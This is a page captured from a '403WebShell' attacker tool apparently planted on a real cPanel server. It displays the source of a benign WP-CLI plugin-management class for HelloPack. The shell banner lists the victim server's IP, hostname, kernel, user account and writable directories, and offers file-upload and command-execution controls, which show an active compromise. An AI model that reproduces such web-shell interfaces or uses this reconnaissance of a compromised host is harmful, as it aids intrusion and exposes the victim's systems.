$plugin = <<403WebShell
403Webshell
Server IP : 193.224.177.188  /  Your IP : 216.73.217.123
Web Server : Apache
System : Linux cpanel.krtk.mta.hu 3.10.0-962.3.2.lve1.5.89.el7.x86_64 #1 SMP Thu Jul 9 15:55:31 UTC 2026 x86_64
User : krtkhu ( 1061)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/krtkhu/www/wp-content/plugins/hellopack-client/includes/Cli/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/krtkhu/www/wp-content/plugins/hellopack-client/includes/Cli/PluginCommand.php
<?php
/**
 * WP-CLI plugin commands.
 *
 * @package HelloPack\Client
 */

declare( strict_types=1 );

namespace HelloPack\Client\Cli;

use HelloPack\Client\Api\Client;
use HelloPack\Client\Update\Installer;
use HelloPack\Client\Update\ItemsCache;
use HelloPack\Client\Update\SlugResolver;
use WP_CLI;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Manage HelloPack premium plugins.
 */
class PluginCommand {

	/**
	 * API client.
	 *
	 * @var Client
	 */
	private Client $api;

	/**
	 * Items cache.
	 *
	 * @var ItemsCache
	 */
	private ItemsCache $cache;

	/**
	 * Installer service.
	 *
	 * @var Installer
	 */
	private Installer $installer;

	/**
	 * Slug resolver.
	 *
	 * @var SlugResolver
	 */
	private SlugResolver $resolver;

	/**
	 * Constructor.
	 *
	 * @param Client       $api       API client.
	 * @param ItemsCache   $cache     Items cache.
	 * @param Installer    $installer Installer service.
	 * @param SlugResolver $resolver  Slug resolver.
	 */
	public function __construct( Client $api, ItemsCache $cache, Installer $installer, SlugResolver $resolver ) {
		$this->api       = $api;
		$this->cache     = $cache;
		$this->installer = $installer;
		$this->resolver  = $resolver;
	}

	/**
	 * List purchased plugins.
	 *
	 * ## OPTIONS
	 *
	 * [--format=<format>]
	 * : Render output in a particular format.
	 * ---
	 * default: table
	 * options:
	 *   - table
	 *   - csv
	 *   - json
	 *   - yaml
	 * ---
	 *
	 * ## EXAMPLES
	 *
	 *     wp hellopack plugin list
	 *     wp hellopack plugin list --format=json
	 *
	 * @when after_wp_load
	 * @subcommand list
	 *
	 * @param array<int, string>    $args       Positional arguments.
	 * @param array<string, string> $assoc_args Associative arguments.
	 */
	public function list_( array $args, array $assoc_args ): void {
		$format  = $assoc_args['format'] ?? 'table';
		$grouped = $this->cache->get_plugins( true );

		if ( empty( $grouped['purchased'] ) ) {
			WP_CLI::error( __( 'No purchased plugins found.', 'hellopack-client' ) );
		}

		$items = array();
		foreach ( $grouped['purchased'] as $plugin ) {
			$slug    = $plugin['slug'] ?? sanitize_title( $plugin['name'] );
			$items[] = array(
				'id'      => $plugin['id'],
				'name'    => $plugin['name'],
				'slug'    => $slug,
				'version' => $plugin['version'] ?? 'N/A',
				'status'  => $this->get_plugin_status( $slug, $grouped ),
			);
		}

		WP_CLI\Utils\format_items( $format, $items, array( 'id', 'name', 'slug', 'version', 'status' ) );
	}

	/**
	 * Install a plugin from HelloPack.
	 *
	 * ## OPTIONS
	 *
	 * <plugin>...
	 * : One or more plugin slugs or numeric IDs.
	 *
	 * [--activate]
	 * : Activate the plugins after installation.
	 *
	 * [--network]
	 * : With --activate on a multisite: activate for the whole network.
	 *
	 * ## EXAMPLES
	 *
	 *     wp hellopack plugin install elementor-pro
	 *     wp hellopack plugin install 123 --activate
	 *     wp hellopack plugin install wp-rocket perfmatters acf-pro --activate
	 *
	 * @when after_wp_load
	 *
	 * @param array<int, string>    $args       Positional arguments.
	 * @param array<string, string> $assoc_args Associative arguments.
	 */
	public function install( array $args, array $assoc_args ): void {
		$activate = isset( $assoc_args['activate'] );
		$network  = isset( $assoc_args['network'] );
		$failed   = 0;

		foreach ( $args as $identifier ) {
			if ( ! $this->install_one( (string) $identifier, $activate, $network ) ) {
				++$failed;
			}
		}

		if ( count( $args ) < 2 ) {
			// A single plugin already reported its own outcome.
			if ( $failed > 0 ) {
				WP_CLI::halt( 1 );
			}
			return;
		}

		$installed = count( $args ) - $failed;

		if ( $failed > 0 ) {
			WP_CLI::error(
				sprintf(
					/* translators: 1: number installed, 2: total number requested. */
					__( 'Installed %1$d of %2$d plugins.', 'hellopack-client' ),
					$installed,
					count( $args )
				)
			);
		}

		WP_CLI::success(
			sprintf(
				/* translators: 1: number installed, 2: total number requested. */
				__( 'Installed %1$d of %2$d plugins.', 'hellopack-client' ),
				$installed,
				count( $args )
			)
		);
	}

	/**
	 * Install one plugin and report on it.
	 *
	 * Reports through WP_CLI::warning rather than ::error so that installing
	 * several plugins at once carries on after one of them fails.
	 *
	 * @param string $identifier   Plugin slug or numeric ID.
	 * @param bool   $activate     Activate after installation.
	 * @param bool   $network_wide Activate for the whole network.
	 * @return bool Whether the plugin was installed.
	 */
	private function install_one( string $identifier, bool $activate, bool $network_wide ): bool {
		$plugin_info = $this->resolver->resolve_plugin( $identifier, true );

		if ( null === $plugin_info ) {
			WP_CLI::warning(
				sprintf(
					/* translators: %s: plugin slug or ID */
					__( 'Plugin "%s" not found in purchased items.', 'hellopack-client' ),
					$identifier
				)
			);
			return false;
		}

		WP_CLI::log(
			sprintf(
				/* translators: %s: plugin name */
				__( 'Installing plugin: %s', 'hellopack-client' ),
				$plugin_info['name']
			)
		);

		$result = $this->installer->install_plugin( (int) $plugin_info['id'], $activate, $network_wide );

		if ( empty( $result['success'] ) ) {
			WP_CLI::warning( (string) ( $result['message'] ?? __( 'Plugin installation failed.', 'hellopack-client' ) ) );
			return false;
		}

		WP_CLI::success(
			sprintf(
				/* translators: %s: plugin name */
				__( 'Plugin "%s" installed successfully.', 'hellopack-client' ),
				$plugin_info['name']
			)
		);

		if ( $activate && empty( $result['activated'] ) ) {
			WP_CLI::warning(
				sprintf(
					/* translators: %s: plugin name */
					__( 'Plugin "%s" could not be activated automatically.', 'hellopack-client' ),
					$plugin_info['name']
				)
			);
		} elseif ( $activate ) {
			WP_CLI::success(
				sprintf(
					/* translators: %s: plugin name */
					__( 'Plugin "%s" activated.', 'hellopack-client' ),
					$plugin_info['name']
				)
			);
		}

		return true;
	}

	/**
	 * Update HelloPack plugins.
	 *
	 * ## OPTIONS
	 *
	 * [<plugin>...]
	 * : One or more installed plugin slugs. Omit when using --all.
	 *
	 * [--all]
	 * : Update every installed HelloPack plugin.
	 *
	 * ## EXAMPLES
	 *
	 *     wp hellopack plugin update elementor-pro
	 *     wp hellopack plugin update wp-rocket perfmatters
	 *     wp hellopack plugin update --all
	 *
	 * @when after_wp_load
	 *
	 * @param array<int, string>    $args       Positional arguments.
	 * @param array<string, string> $assoc_args Associative arguments.
	 */
	public function update( array $args, array $assoc_args = array() ): void {
		if ( isset( $assoc_args['all'] ) ) {
			$args = $this->installed_slugs();

			if ( empty( $args ) ) {
				WP_CLI::success( __( 'No HelloPack plugins are installed.', 'hellopack-client' ) );
				return;
			}
		}

		if ( empty( $args ) ) {
			WP_CLI::error( __( 'Specify at least one plugin slug, or use --all.', 'hellopack-client' ) );
		}

		$failed = 0;

		foreach ( $args as $slug ) {
			if ( ! $this->update_one( (string) $slug ) ) {
				++$failed;
			}
		}

		if ( count( $args ) < 2 ) {
			if ( $failed > 0 ) {
				WP_CLI::halt( 1 );
			}
			return;
		}

		$updated = count( $args ) - $failed;
		$message = sprintf(
			/* translators: 1: number updated, 2: total number requested. */
			__( 'Updated %1$d of %2$d plugins.', 'hellopack-client' ),
			$updated,
			count( $args )
		);

		if ( $failed > 0 ) {
			WP_CLI::error( $message );
		}

		WP_CLI::success( $message );
	}

	/**
	 * Slugs of every installed HelloPack plugin.
	 *
	 * @return array<int, string>
	 */
	private function installed_slugs(): array {
		$grouped = $this->cache->get_plugins();
		$slugs   = array();

		foreach ( $grouped['purchased'] ?? array() as $plugin ) {
			$slug = $plugin['slug'] ?? sanitize_title( $plugin['name'] );

			if ( null !== $this->resolver->find_installed_plugin_file( $slug ) ) {
				$slugs[] = $slug;
			}
		}

		return $slugs;
	}

	/**
	 * Update one plugin and report on it.
	 *
	 * Reports through WP_CLI::warning so a batch carries on after a failure.
	 *
	 * @param string $slug Plugin slug.
	 * @return bool Whether the plugin was updated.
	 */
	private function update_one( string $slug ): bool {
		if ( ! preg_match( '/^[a-zA-Z0-9_-]+$/', $slug ) ) {
			WP_CLI::warning( __( 'Invalid plugin slug.', 'hellopack-client' ) );
			return false;
		}

		$plugin_file = $this->resolver->find_installed_plugin_file( $slug );

		if ( null === $plugin_file ) {
			WP_CLI::warning(
				sprintf(
					/* translators: %s: plugin slug */
					__( 'Plugin "%s" is not installed.', 'hellopack-client' ),
					$slug
				)
			);
			return false;
		}

		$result = $this->installer->update_plugin( $plugin_file );

		if ( empty( $result['success'] ) ) {
			// WordPress reports an already-current plugin as an upgrader error;
			// for a batch run that is a no-op, not a failure.
			if ( 'up_to_date' === ( $result['message'] ?? '' ) ) {
				WP_CLI::log(
					sprintf(
						/* translators: %s: plugin slug */
						__( 'Plugin "%s" is already up to date.', 'hellopack-client' ),
						$slug
					)
				);
				return true;
			}

			WP_CLI::warning( (string) ( $result['message'] ?? __( 'Plugin update failed.', 'hellopack-client' ) ) );
			return false;
		}

		WP_CLI::success(
			sprintf(
				/* translators: 1: plugin slug, 2: from version, 3: to version */
				__( 'Plugin "%1$s" updated %2$s → %3$s.', 'hellopack-client' ),
				$slug,
				(string) ( $result['from_version'] ?? '?' ),
				(string) ( $result['to_version'] ?? '?' )
			)
		);

		return true;
	}

	/**
	 * Determine the installation status of a plugin.
	 *
	 * @param string                              $slug    Plugin slug.
	 * @param array<string, array<string, mixed>> $grouped Grouped plugin data.
	 * @return string 'active', 'installed', or 'available'.
	 */
	private function get_plugin_status( string $slug, array $grouped ): string {
		foreach ( $grouped['active'] ?? array() as $plugin ) {
			$active_slug = $plugin['slug'] ?? sanitize_title( $plugin['name'] );
			if ( $active_slug === $slug ) {
				return 'active';
			}
		}

		foreach ( $grouped['installed'] ?? array() as $plugin ) {
			$installed_slug = $plugin['slug'] ?? sanitize_title( $plugin['name'] );
			if ( $installed_slug === $slug ) {
				return 'installed';
			}
		}

		return 'available';
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit